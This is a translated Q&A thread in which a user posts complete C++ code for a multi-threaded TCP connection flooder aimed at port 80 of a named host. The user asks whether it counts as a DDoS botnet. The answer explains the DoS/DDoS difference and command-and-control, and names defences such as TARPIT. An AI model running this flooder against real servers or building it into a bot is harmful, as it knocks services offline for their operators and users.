我们可以说这是简单的DDOS僵尸网络吗?

时间:2013-09-22 07:56:35

标签: c++ sockets pthreads ddos botnet

这是一个基于posix套接字和线程的客户端程序。该程序创建多个线程,并将锁定服务器。我们可以说这是简单的DDOS僵尸网络吗? C / C ++和posix平台中的代码。 这是代码

#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

int get_hostname_by_ip(char* h , char* ip)
{
        struct hostent *he;
        struct in_addr **addr_list;
        int i;

        if ((he = gethostbyname(h)) == NULL) 
        {
                perror("gethostbyname");
                return 1;
        }
        addr_list = (struct in_addr **) he->h_addr_list;
        for(i = 0; addr_list[i] != NULL; i++) 
        {
                strcpy(ip , inet_ntoa(*addr_list[i]) );
                return 0;
        }

        return 1;
}

void client(char* h)
{
    int fd;
        char* ip = new char[20];
        int port = 80;
    struct sockaddr_in addr;
    char ch[]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
        while(1)
        {
                fd = socket(AF_INET, SOCK_STREAM, 0);
                addr.sin_family=AF_INET;
                get_hostname_by_ip(h, ip);
                addr.sin_addr.s_addr=inet_addr(ip);
                addr.sin_port=htons(port);
                if(connect(fd, (struct sockaddr*)&addr, sizeof(addr)) < 0) 
                {
                        perror("error: can't connect to server\n");
                        return;
                }
                if(send(fd, ch, sizeof(ch), 0) < 0)
                {       
                        perror("error: can't send\n");
                }
                close(fd);
        }
}

struct info
{
        char* h;
        int c;
};


void* thread_entry_point(void* i)
{
        info* in = (info*)i;
        client(in->h);
}

int main(int argc, char** argv)
{
        int s = atoi(argv[2]);
        pthread_t t[s];
        info in = {argv[1], s};
        for(int i = 0; i < s; ++i)
        {
                pthread_create(&t[i], NULL, thread_entry_point, (void*)&in);
        }
        pthread_join(t[0], NULL);

    return 0;
}

1 个答案:

答案 0 :(得分:5)

否:“DDoS”中的第一个“D”代表“分布式”。单个机器上的单个进程构成简单的DoS(从一台机器的角度来看,它可以包含在Unix的limit等机制中。从受害者的角度来看,只是在防火墙级别排除有问题的IP通常就足够了 - 见下文。

对于DDoS,您需要某种形式的命令和控制,允许机器A上的进程在那里休眠,尽可能少的中断以避免检测,然后然后从机器接收B攻击机器C的命令。通过A的许多实例向C路由的破坏性流量将构成/导致对C的实际拒绝服务。

您的代码可能很好地成为 DDoS机器人的一部分,CC部分接收info的实例。它也是一个很好的学习工具,而对于真正的“黑帽”目的来说它并不是真正有用。

这将是关于security.stackexchange.com的主题。

资源比率

在您的示例中,我们的比率为1:1,即您打开一个套接字,受害者必须分配一个套接字。这具有简单的优点(只需要香草插座编程)。另一方面,这是一场消耗战 - 你必须确保在用尽自己之前耗尽受害者的实际资源。否则,你需要升级攻击招募更多机器人。

然而,事实证明,一旦受害者指纹攻击,这并不难做到,有几种策略可以用来阻止它并将比率转化为优势。一个这样的例子是TARPIT。通过对敌对连接进行攻击,受害者可以将整个攻击者网络集中到他们的集体膝盖上(还有其他策略允许伪造初始连接,以便使用vanilla方法的攻击者必须浪费套接字和结构虽然防守者除了设置之外什么都不做。虽然没有进入无限,资源比率确实在防守者的优势中飙升。)